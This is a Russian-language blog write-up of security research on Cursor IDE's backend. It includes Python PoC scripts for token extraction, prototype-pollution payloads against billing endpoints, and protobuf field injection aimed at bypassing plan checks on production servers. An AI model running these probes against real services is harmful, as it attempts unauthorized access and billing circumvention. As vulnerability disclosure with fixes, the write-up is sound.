Disclaimer: исследование проводилось исключительно в образовательных целях. Все найденные уязвимости были задокументированы. Никакие данные третьих лиц не были скомпрометированы. Автор не несёт ответственности за использование описанных техник.
Вступление
Cursor — AI-powered IDE на базе VS Code, которая обрабатывает миллионы строк кода разработчиков через свои серверы. Когда я задумался о безопасности этого продукта, возник вопрос: насколько надёжна серверная модель авторизации, которая стоит между бесплатным пользователем и Claude 4 Opus?
Спойлер: серьёзного bypass я не нашёл — Cursor реально неплохо защищён. Но по пути я обнаружил 4 уязвимости класса CVE, полностью реверс-инжинирнул API-surface, извлёк protobuf-схемы из 1.1M строк минифицированного JS и нашёл скрытый dev-бэкдор в production-серверах.
Вот что получилось.
Содержание
1. Разведка: декомпиляция клиента
Cursor основан на VS Code (Electron). Весь клиентский код лежит в:
resources/app/out/vs/workbench/workbench.desktop.main.js
1,144,696 строк минифицированного JavaScript. Этот файл — золотая жила: тут все protobuf-определения, URL-ы API, OAuth-флоу, Statsig feature gates и логика маршрутизации моделей.
Извлечение protobuf-схем
Cursor использует Connect-RPC (https://connectrpc.com/) — современный RPC-фреймворк поверх HTTP/2. Все сервисы определены прямо в JS-бандле:
// Найдено через grep "typeName.*agent.v1"var $hl = { typeName: "agent.v1.AgentService", methods: { run: { name: "Run", I: ndi, // AgentRunRequest O: CPt, // AgentRunResponse (streaming) kind: vn.ServerStreaming }, // ... }};
Для извлечения полей использовал цепочку grep → sed → ручной анализ:
grep -n "typeName.*agent.v1.AgentRunRequest" workbench.desktop.main.js# -> 448073: C(ndi, "typeName", "agent.v1.AgentRunRequest"), C(ndi, "fields"...sed -n '448073,448200p' workbench.desktop.main.js
Результат — полная proto-схема AgentRunRequest:
// Восстановленная схема (17 клиентских полей)message AgentRunRequest { ConversationState conversation_state = 1; Action action = 2; ModelDetails model_details = 3; // ← модель для plan check McpTools mcp_tools = 4; string conversation_id = 5; McpFileSystemOptions mcp_file_system_options = 6; SkillOptions skill_options = 7; string custom_system_prompt = 8; RequestedModel requested_model = 9; // ← модель для routing bool suggest_next_prompt = 10; string subagent_type_name = 11; bool exclude_workspace_context = 12; string harness = 13; repeated RequestedModel selected_subagent_models = 14; repeated ModelDetails selected_subagent_model_details = 15; string conversation_group_id = 16; repeated PreFetchedBlobs pre_fetched_blobs = 17; // string dev_raw_model_slug = 18; // ← СЕРВЕРНОЕ ПОЛЕ, нет в клиенте!}
Ключевая находка: поле 18 (devRawModelSlug) отсутствует в клиентском коде, но сервер его принимает и обрабатывает. Об этом ниже.
Извлечение токенов
Cursor хранит аутентификацию в SQLite:
import sqlite3VSCDB = "~/.config/Cursor/User/globalStorage/state.vscdb"con = sqlite3.connect(VSCDB)row = con.execute( "SELECT value FROM ItemTable WHERE key='cursorAuth/accessToken'").fetchone()TOKEN = row[0].strip('"')
JWT-токен содержит стандартные claims:
{ "sub": "auth0|...", "iss": "https://prod.authentication.cursor.sh/", "aud": "https://cursor.com", "iat": 1751457906, "exp": 1752062706, "scope": "openid profile email offline_access", "azp": "KbZUR41cY7W6zRSdpSUJ7I7mLYBKOCmB"}
Заметьте: никаких claims о подписке или плане. Проверка подписки происходит полностью на сервере.
2. Архитектура
Стек
Client (Electron) ↓ HTTP/2 + Connect-RPCAPI Gateway (api2.cursor.sh, api5.cursor.sh) ↓ Agent Service (model routing, plan check) ↓LLM providers (OpenAI, Anthropic, Google)
Протокол: Connect-RPC
Connect-RPC фреймирует protobuf в HTTP/2:
[1 byte flags][4 bytes length][protobuf payload]
-
flags=0x00: data frame
-
flags=0x02: trailer frame (JSON с ошибками/метаданными)
Пример фрейминга:
import struct# Создание Connect-RPC сообщенияdef frame(proto_bytes): return struct.pack('>BI', 0, len(proto_bytes)) + proto_bytes + \ struct.pack('>BI', 2, 0) # пустой trailer
Checksum-алгоритм
Cursor использует кастомный checksum для валидации запросов:
def cursor_checksum(machine_id, mac_machine_id): S = int(time.time() * 1000) // 1_000_000 x = bytearray([ (S >> 40) & 0xFF, (S >> 32) & 0xFF, (S >> 24) & 0xFF, (S >> 16) & 0xFF, (S >> 8) & 0xFF, S & 0xFF ]) e = 165 # seed for t in range(len(x)): x[t] = ((x[t] ^ e) + t % 256) & 0xFF e = x[t] encoded = base64.urlsafe_b64encode(bytes(x)).rstrip(b'=') return encoded.decode() + machine_id + '/' + mac_machine_id
Алгоритм реверснут из workbench.desktop.main.js. Timestamp-based, детерминированный — воспроизводится тривиально.
Список серверов
https://api2.cursor.sh — основной APIhttps://agent.api5.cursor.sh — agent-специфичныйhttps://agentn.api5.cursor.sh — agent (новый?)https://agent-gcpp-uswest.api5.cursor.shhttps://agentn-gcpp-eucentral.api5.cursor.shhttps://agentn-gcpp-apsoutheast.api5.cursor.shhttps://repo42.cursor.sh — репозиторий?
3. Полная карта API-surface
gRPC-сервисы (Connect-RPC)
|
Сервис |
Метод |
Тип |
|---|---|---|
|
|
|
ServerStreaming |
|
|
|
Unary |
|
|
|
Unary |
|
|
|
Unary |
|
|
|
Unary |
|
|
|
Unary |
|
|
|
Unary |
|
|
|
ServerStreaming |
|
|
|
Unary |
REST-эндпоинты
|
Путь |
Метод |
Описание |
|---|---|---|
|
|
GET |
Профиль подписки |
|
|
POST |
Активация подписки |
|
|
GET |
Информация о пользователе |
Statsig Feature Gates (извлечено 40+)
cc_override_agent_backend — выбор agent backenduser_is_professional — проверка pro-статусаexplicit_subagent_models — явные модели для subagentenable_ide_enterprise_plan_usageuse_model_parametersagent_review_fake_dev
4. CVE-1: Prototype Pollution (CWE-1321)
Severity: Medium (DoS, потенциальная эскалация) Endpoint: POST /auth/start-subscription-now Impact: Server crash (HTTP 500), изменение пути обработки
Описание
JSON-эндпоинты Cursor парсят тело запроса без санитизации __proto__. При отправке payload с __proto__ сервер возвращает 500 Internal Server Error вместо ожидаемого 400 Cannot upgrade free user.
PoC
import httpx, jsonpayload = { "tier": "pro", "__proto__": { "membershipType": "pro", "hasActiveSubscription": True }}r = httpx.post( "https://api2.cursor.sh/auth/start-subscription-now", content=json.dumps(payload).encode(), headers={ "authorization": "Bearer <token>", "content-type": "application/json" })print(r.status_code, r.text)
Результаты тестирования
|
Payload |
Ожидаемый ответ |
Фактический ответ |
|---|---|---|
|
|
400 “Cannot upgrade free user” |
400 ✓ |
|
|
400 |
500 “Error” ✗ |
|
|
400 |
500 “Error” ✗ |
|
|
400 |
500 “Error” ✗ |
Все 10 вариаций с __proto__ вызывают 500 вместо 400. Это подтверждает, что объект prototype chain загрязняется до момента проверки подписки, вызывая необработанное исключение.
Аналогичное поведение на ActivatePromotion:
# Нормальный ответ: "Unknown promo type id"payload = {"promoTypeId": "test"}# С __proto__: "invalid_argument" (ДРУГАЯ ошибка!)payload = {"promoTypeId": "test", "__proto__": {"isValid": True}}
Эндпоинт ActivatePromotion с __proto__ возвращает invalid_argument вместо Unknown promo type id — pollution меняет путь валидации.
Импакт
-
DoS: любой аутентифицированный пользователь может вызвать 500-ку на billing endpoints
-
Потенциальная эскалация: если pollution проникает в shared state (маловероятно в production, но зависит от архитектуры)
5. CVE-2: devRawModelSlug — скрытый бэкдор (CWE-489)
Severity: Medium (Active Debug Code in Production) Field: AgentRunRequest.dev_raw_model_slug (proto field 18) Impact: Наличие dev-механизма прямого bypass model routing в production
Обнаружение
При систематическом сканировании всех proto-полей (1-50) на AgentRunRequest:
for field_num in range(1, 51): extra = proto_field(field_num, wire_type=2, value="pro") body = build_agent_request("gpt-4o", extra_fields=extra) response = send(body) if "Free plans" not in response: print(f"!!! field {field_num}: {response}")
Поля 6, 7, 8, 10-17 → parse error или plan_block (ожидаемо). Поле 18 → уникальный ответ:
devRawModelSlug is not available
Анализ
-
Поле 18 отсутствует в клиентском коде — grep по 1.1M строк не находит
devRawModelSlugв proto-определениях клиента -
Сервер его парсит и валидирует — возвращает специфическое сообщение об ошибке, а не generic parse error
-
Проверка происходит ДО plan check — при
f3=default(проходит free check) +f18=gpt-4o→ ошибка devRawModelSlug, а не plan_block -
Одинаково на ВСЕХ серверах:
api2.cursor.sh → "devRawModelSlug is not available"agent.api5.cursor.sh → "devRawModelSlug is not available"agentn.api5.cursor.sh → "devRawModelSlug is not available"agent-gcpp-uswest.api5.cursor.sh → "devRawModelSlug is not available"agentn-gcpp-eucentral.api5.cursor.sh → "devRawModelSlug is not available"agentn-gcpp-apsoutheast.api5.cursor.sh → "devRawModelSlug is not available"
PoC
import structdef varint(v): r = bytearray() while v > 0x7f: r.append((v & 0x7f) | 0x80) v >>= 7 r.append(v & 0x7f) return bytes(r)def proto_field(num, wire_type, value): tag = varint((num << 3) | wire_type) if wire_type == 2: # length-delimited data = value.encode() if isinstance(value, str) else value return tag + varint(len(data)) + data return b''# Поле 18 = devRawModelSlug с именем premium-моделиfield_18 = proto_field(18, 2, "gpt-4o")# Стандартные поля AgentRunRequestmodel_details = proto_field(1, 2, "default") # field 3: проходит plan checkrun_request = ( proto_field(1, 2, b'') + # conversation_state proto_field(2, 2, action_bytes) + # action proto_field(3, 2, model_details) + # model_details = "default" proto_field(5, 2, conv_id) + # conversation_id proto_field(9, 2, requested_model) + # requested_model proto_field(16, 2, group_id) + # conversation_group_id field_18 # devRawModelSlug = "gpt-4o")# Connect-RPC framingbody = struct.pack('>BI', 0, len(outer)) + outer + struct.pack('>BI', 2, 0)
Почему это CWE-489
devRawModelSlug — это механизм для разработчиков, позволяющий напрямую указать backend-модель, минуя стандартную маршрутизацию. В production он отключён, но:
-
Код обработки присутствует в production-бинарнике
-
Сервер парсит и валидирует это поле (не игнорирует)
-
Ошибка выдаёт имя поля, раскрывая внутреннюю архитектуру
-
Если флаг отключения будет снят (ошибка конфигурации, feature flag), поле мгновенно станет рабочим
6. CVE-3: Internal Service Header Leak (CWE-200)
Endpoint: GET /agent.v1.AgentService/GetAllowedModelIntents Impact: раскрытие архитектуры внутреннего service mesh
Описание
Метод GetAllowedModelIntents обнаружен в клиентском JS:
getAllowedModelIntents: { name: "GetAllowedModelIntents", I: QCm, // request type O: XCm, // response type kind: vn.Unary}
При вызове с обычным Bearer-токеном:
HTTP 401: "Invalid internal service header"
Анализ
Ответ "Invalid internal service header" вместо generic 401 Unauthorized или 404 Not Found раскрывает:
-
Эндпоинт существует и обрабатывается (не 404)
-
Используется service-to-service аутентификация (внутренний заголовок)
-
Есть отдельный механизм авторизации для внутренних сервисов
Брутфорс заголовков (25+ комбинаций) не дал результата — внутренний токен не является производным от пользовательского.
7. CVE-4: Protobuf Field Injection & Wire Type Confusion
7.1 Дублирование field 3 (Double Field Injection)
Protobuf позволяет отправить одно и то же поле дважды. По спецификации, для singular-полей последнее значение побеждает. Но что если plan check и routing читают разные значения?
# Два поля field 3: сначала opus, потом defaultmd_opus = proto_field(1, 2, "claude-4-opus")md_default = proto_field(1, 2, "default")run_request = ( proto_field(3, 2, md_opus) + # первый model_details proto_field(3, 2, md_default) + # второй model_details # ...)
Результат: сервер корректно берёт последнее значение для обоих проверок. Bypass не работает, но сервер не отклоняет дублированное поле — это нарушение принципа strict parsing.
7.2 Wire Type Confusion
Отправка model_id (обычно string, wire type 2) как varint (wire type 0):
# Нормально: field 1, wire type 2 (string), value "default"normal = b'\x0a\x07default'# Атака: field 1, wire type 0 (varint), value 0confused = b'\x08\x00' # (1 << 3) | 0 = 0x08, varint 0
Результат: parse binary: illegal tag — сервер отклоняет. Парсер достаточно строгий.
7.3 Subagent Field Injection
Поля 14 (selected_subagent_models) и 15 (selected_subagent_model_details) принимают premium-модели без plan check:
run_request = ( proto_field(3, 2, model_details("default")) + # plan check ✓ proto_field(14, 2, requested_model("gpt-4o")) + # no plan check! proto_field(15, 2, model_details("gpt-4o")) + # no plan check!)
Запрос проходит и стримится. Однако, при анализе ответа — модель-ответчик идентична обычному запросу с “default” (Codex 5.3). Поля 14/15 игнорируются при routing, но не валидируются — это увеличивает attack surface при будущих изменениях.
8. Что ещё было протестировано (без результата)
Для полноты картины — полный список проверенных векторов:
|
Вектор |
Результат |
Почему не работает |
|---|---|---|
|
Model name bruteforce (42 модели) |
Plan blocked |
Серверная проверка по имени |
|
|
Blocked |
Одна и та же проверка |
|
JWT claim manipulation |
N/A |
Claims не содержат план; проверка из БД |
|
OAuth callback injection |
Blocked |
WorkOS nonce validation |
|
Stripe webhook replay |
500 |
Signature verification |
|
|
400 |
Требует активную подписку |
|
Content-Type confusion (gRPC vs Connect) |
415/500 |
Строгая проверка Content-Type |
|
Internal service header brute force |
401 |
Токен не derivable |
|
Host header override |
404 |
Load balancer routing |
|
|
Rejected |
“unknown option —system-prompt” |
|
|
Plan blocked |
Не влияют на plan check |
|
Integer overflow в billing |
404 |
Endpoints не существуют |
|
gRPC Server Reflection |
404 |
Отключено |
|
Feature flag headers |
No effect |
Серверные gates не управляются клиентом |
|
Race condition на subscription |
N/A |
Атомарная проверка |
9. Что Cursor делает правильно
Нужно отдать должное — по результатам аудита, Cursor демонстрирует зрелую security-модель:
-
Plan check полностью серверный — никаких claims в JWT о подписке. Проверка идёт из базы данных на каждый запрос.
-
Строгий protobuf parsing — wire type confusion отклоняется; неизвестные поля не влияют на routing.
-
Stripe webhook signature — webhook-эндпоинт требует валидную Stripe-подпись, replay невозможен.
-
OAuth nonce validation — WorkOS callback проверяет nonce, injection невозможен.
-
Единая проверка модели —
model_detailsиrequested_modelпроходят одну и ту же проверку, дублирование поля берёт последнее значение корректно. -
Connect-RPC вместо raw gRPC — упрощает auditing и мониторинг, грамотный выбор.
10. Выводы и рекомендации
Найденные уязвимости
|
ID |
Тип |
CWE |
Severity |
Описание |
|---|---|---|---|---|
|
CURSOR-2025-001 |
Prototype Pollution |
CWE-1321 |
Medium |
|
|
CURSOR-2025-002 |
Active Debug Code |
CWE-489 |
Medium |
|
|
CURSOR-2025-003 |
Info Disclosure |
CWE-200 |
Low |
|
|
CURSOR-2025-004 |
Improper Input Validation |
CWE-20 |
Low |
Subagent fields не валидируются |
Рекомендации для Cursor
-
Санитизировать
__proto__иconstructorв JSON-парсинге. ИспользоватьObject.create(null)или библиотеку типаsecure-json-parse. -
Удалить
devRawModelSlugиз production proto-схемы или как минимум не возвращать имя поля в ошибке. -
Унифицировать ошибки авторизации —
GetAllowedModelIntentsдолжен возвращать generic 404 вместо “Invalid internal service header”. -
Валидировать все proto-поля — отклонять запросы с неожиданными полями в
selected_subagent_models/selected_subagent_model_details.
Инструментарий
Весь research проведён с помощью:
-
Python 3 +
httpx(HTTP/2 клиент) -
Ручная сериализация protobuf (без .proto файлов)
-
grep/sedдля анализа минифицированного JS -
SQLite3 для извлечения токенов
Итог
Cursor — один из наиболее security-aware AI-продуктов, которые я исследовал. Plan check полностью серверный, JWT не содержит привилегий, protobuf parsing строгий. Тем не менее, prototype pollution и наличие dev-бэкдора в production — это реальные issues, которые стоит исправить.
Если вы делаете SaaS с серверной авторизацией — вот чеклист из этого исследования:
-
✅ Не храните привилегии в JWT
-
✅ Проверяйте план из БД на каждый запрос
-
✅ Используйте строгий proto parsing
-
❌ Не оставляйте dev-поля в production proto
-
❌ Не раскрывайте внутренние имена через ошибки
-
❌ Санитизируйте
__proto__в JSON
ссылка на оригинал статьи https://habr.com/ru/articles/1028196/